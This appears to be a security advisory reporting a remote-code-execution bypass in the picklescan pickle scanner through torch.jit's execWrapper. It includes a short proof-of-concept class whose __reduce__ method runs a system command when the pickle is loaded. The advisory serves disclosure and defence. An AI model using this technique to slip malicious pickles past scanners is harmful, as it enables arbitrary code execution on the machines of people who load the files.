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to version 0.0.28 or higher.
picklescan is a Security scanner detecting Python Pickle files performing suspicious actions
Affected versions of this package are vulnerable to Remote Code Execution (RCE) due to insufficient detection in the reduce
method involving the torch.jit.unsupported_tensor_ops.execWrapper
function. An attacker can execute arbitrary code by crafting a malicious pickle file that bypasses security checks and is subsequently loaded.
import torch.jit.unsupported_tensor_ops as unsupported_tensor_ops
class EvilTorchJitUnsupportedTensorOpsExecWrapper:
def __reduce__(self):
code = '__import__("os").system("whoami")'
glob = {}
loc = {}
return unsupported_tensor_ops.execWrapper, (code, glob, loc)